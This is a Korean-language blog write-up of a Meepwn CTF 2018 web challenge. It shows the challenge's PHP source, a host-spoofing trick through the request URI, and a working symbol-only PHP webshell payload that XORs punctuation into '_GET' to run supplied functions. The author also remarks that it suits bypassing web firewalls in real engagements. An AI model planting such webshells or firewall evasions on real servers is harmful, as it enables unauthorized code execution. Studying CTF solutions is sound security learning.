문제 접속 후 주석을 보면 is_debug=1이라는 문구가 있고 이를 입력해보면 다음과 같이 php소스 코드를 확인할 수 있다.




<?php 

ob_start(); 

session_start(); 

?> 

<html> 

<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 

<head> 

  <link rel="stylesheet" href="assets/omega_sector.css"> 

  <link rel="stylesheet" href="assets/tsu_effect.css"> 

</head> 


<?php 


ini_set("display_errors", 0); 

include('secret.php'); 


$remote=$_SERVER['REQUEST_URI']; 


if(strpos(urldecode($remote),'..')) 

mapl_die(); 


if(!parse_url($remote, PHP_URL_HOST)) 

    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 

$whoareyou=parse_url($remote, PHP_URL_HOST); 



if($whoareyou==="alien.somewhere.meepwn.team") 

    if(!isset($_GET['alien'])) 

    { 

        $wrong = <<<EOF 

<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 

<h1 id="main" class="shadow">Are You ALIEN??</h1> 

<form id="main"> 

    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 

    <button type="submit" class="button-error" name="alien" value="No">No</button> 

</form> 

<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 

EOF; 

        echo $wrong; 

    } 

    if(isset($_GET['alien']) and !empty($_GET['alien'])) 

    { 

         if($_GET['alien']==='@!#$@!@@') 

        { 

            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 

            exit(header( "Location: alien_sector.php" )); 

        } 

        else 

        { 

            mapl_die(); 

        } 

    } 


elseif($whoareyou==="human.ludibrium.meepwn.team") 

     

    if(!isset($_GET['human'])) 

    { 

        echo ""; 

        $wrong = <<<EOF 

<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 

<h1 id="main" class="shadow">Are You Human?</h1> 

<form id="main"> 

    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 

    <button type="submit" class="button-error" name="human" value="No">No</button> 

</form> 

<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 

EOF; 

        echo $wrong; 

    } 

    if(isset($_GET['human']) and !empty($_GET['human'])) 

    { 

         if($_GET['human']==='Yes') 

        { 

            $_SESSION['auth']=hash('sha256', 'human'.$salt); 

            exit(header( "Location: omega_sector.php" )); 

        } 

        else 

        { 

            mapl_die(); 

        } 

    } 


else 

    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 

    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; 

    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") 

    { 

        show_source(__FILE__); 

    } 


?> 

<body background="assets/background.jpg" class="cenback"> 

</body> 

<!-- is_debug=1 --> 

<!-- All images/medias credit goes to nexon, wizet --> 

</html> 

<?php ob_end_flush(); ?> 



코드를 보면 URI 값을 parse_url의 인자로 넣고 호스트명을 구해오는데 요런식으로 입력해주면 조건에 만족하면서 아래와 같이 두개의 페이지에 접근이 가능해진다.




각 페이지 기능을 보면 위와같이 임의의 입력값을 넣어준뒤 Save버튼을 눌렀을때 아래와 같은 형태로 요청이 간다.



기능을보면 message 파라미터값이 파일내용에 삽입되고 type 파라미터값을 통해 파일확장자를 지정할 수 있다. 여기서그냥 파일내용에 php 코드 넣으면 끝나겠구나 생각했는데 큰 오산이었다. 위에서 리다이렉트된 두개의 페이지 각각 한군데는 파일내용에 문자,숫자만 쓸 수 있고 나머지 한군데는 특문만 쓸 수 있다는 필터조건이 걸려있었다.


문자,숫자만 가지고는 일단 php 시작코드인 <?를 어떻게할 방법이 없어보였고 특문만 가지고 웹쉘 명령어를 만들어야할 것 같았다.

php에서는 문자열(); 형태로 함수실행이 가능한 트릭이 있기 때문에 특문들을 비트연산을 통해 적절히 조절해서 내가원하는 함수의 문자열만 만들 수 있다면 충분히 가능할 거라 생각했다. 

여기까지 생각한뒤 여러가지 조합을통해 system , show_source 류의 문자열을 특문만가지고 만들어보려고 했는데 생각보다 쉽지가 않아서 이미 누군가 만들어논게 있을 것 같아서 찾다보니 요 사이트에서 특문만 가지고 만든 웹쉘 코드를 찾았다.


https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/


위 사이트에서 찾은 코드를 그대로 쓰려고 넣어보니 40글자 길이제한이 걸려있었다.


여기서 멘탈이 나갔다가 최대한 길이를 줄인 코드를 짜봤는데 대충 아래와 같은 형태였다.


<?=$_="_GET";${$_}{_}(${$_}{__});


위의 코드 중 "_GET"를 제외한 글자가 26글자였고 "_GET"을 특문 14글자로 구현만 가능하다면 익스플로잇이 가능할 거라고 생각했다. 여기서 특문으로 _GET을 만들어보려고 좀 해봤는데 생각처럼 잘 안되서 멘탈터져서 결국 롸업을 봤다. 코드자체는 생각했던 코드와 크게 다르지 않았고 "_GET"을 "`{{{"^"?<>/" 요런식으로 만들 수 있길래 그대로 가져다 썼다.

<?=$_="`{{{"^"?<>/";${$_}{_}(${$_}{__});



해당 기법은 실무에서도 php 웹쉘 업로드 시 웹방화벽 우회할 때 다양하게 응용가능할 것 같다. 














'CTF > Writeup' 카테고리의 다른 글

LAYER7 CTF 2018 Margaret  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Good WAF  (0) 2018.05.01
ASIS 2018 CTF Buy flags  (0) 2018.05.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,